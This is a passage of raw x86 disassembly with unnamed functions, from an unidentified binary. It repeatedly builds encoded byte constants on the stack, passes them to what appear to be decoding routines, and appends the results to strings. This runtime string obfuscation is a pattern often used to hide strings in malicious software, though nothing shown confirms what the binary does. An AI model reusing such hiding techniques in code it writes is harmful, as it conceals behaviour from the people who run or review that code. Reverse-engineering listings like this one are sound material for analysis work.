call fcn.0040ff60
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x849796ae
mov word [ebp - 0x18], 0x90
mov byte [ebp - 0x16], 1
call fcn.004622a0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.004027f0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x8f
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4136c0
sub ecx, edx
lea eax, [ebp - 0x1c]
push ecx
push eax
mov ecx, esi
call fcn.00402810
mov byte [ebp - 4], 0x8e
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0x2e]
mov dword [ebp - 0x2e], 0x94809090
mov dword [ebp - 0x2a], 0x949097
mov byte [ebp - 0x26], 1
call fcn.00462080
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.004027f0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 4], 0x91
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413730
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
mov ecx, esi
call fcn.00402810
mov byte [ebp - 4], 0x90
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x92
lea ecx, [ebp - 0x4f]
mov dword [ebp - 0x4f], 0x9e919c90
mov dword [ebp - 0x4b], 0x9896988c
mov dword [ebp - 0x47], 0x909493
mov byte [ebp - 0x43], 1
call fcn.00462020
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.004027f0
lea ecx, [ebp - 0x4f]
mov byte [ebp - 4], 0x93
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4137a6
sub ecx, edx
lea eax, [ebp - 0x4f]
push ecx
push eax
mov ecx, esi
call fcn.00402810
mov byte [ebp - 4], 0x92
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0x92829cb8
mov dword [ebp - 0x34], 0x9593969b
mov word [ebp - 0x30], 0x100
call fcn.00461f90
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.004027f0
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x95
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413817
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, esi
call fcn.00402810
mov byte [ebp - 4], 0x94
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0x939290a6
mov dword [ebp - 0x3e], 0x9593969b
mov word [ebp - 0x3a], 0x100
call fcn.00461f90
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.004027f0
lea ecx, [ebp - 0x42]
mov byte [ebp - 4], 0x97
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413888
sub ecx, edx
lea eax, [ebp - 0x42]
push ecx
push eax
mov ecx, esi
call fcn.00402810
mov byte [ebp - 4], 0x96
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x3ac]
movaps xmm0, xmmword [0x5256b0]
movups xmmword [ebp - 0x3ac], xmm0
mov word [ebp - 0x39c], 0x100
call fcn.00461ff0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.004027f0
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 0x99
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413902
sub ecx, edx
lea eax, [ebp - 0x3ac]
push ecx
push eax
mov ecx, esi
call fcn.00402810
mov byte [ebp - 4], 0x98
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x909290b8
mov dword [ebp - 0x58], 0xb7da8b9d
mov dword [ebp - 0x54], 0x9b8b95
mov byte [ebp - 0x50], 1
call fcn.00462020
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.004027f0
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x9b
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413980
sub ecx, edx
lea eax, [ebp - 0x5c]
push ecx
push eax
mov ecx, esi
call fcn.00402810
mov byte [ebp - 4], 0x9a
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x30
lea ecx, [ebp - 0x760]
call fcn.00402660
lea ecx, [ebp - 0x374]
call fcn.00402660
lea ecx, [ebp - 0x778]
call fcn.00402660
lea ecx, [ebp - 0x790]
call fcn.00402660
lea ecx, [ebp - 0x7a8]
call fcn.00402660
lea ecx, [ebp - 0x7c0]
call fcn.00402660
lea ecx, [ebp - 0x7d8]
call fcn.00402660
lea ecx, [ebp - 0x7f0]
call fcn.00402660
lea ecx, [ebp - 0x808]
call fcn.00402660
lea ecx, [ebp - 0x820]
call fcn.00402660
lea ecx, [ebp - 0x35c]
call fcn.00402660
lea ecx, [ebp - 0x838]
call fcn.00402660
lea ecx, [ebp - 0x850]
call fcn.00402660
lea ecx, [ebp - 0x868]
call fcn.00402660
lea ecx, [ebp - 0x880]
call fcn.00402660
lea ecx, [ebp - 0x898]
call fcn.00402660
lea ecx, [ebp + 8]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret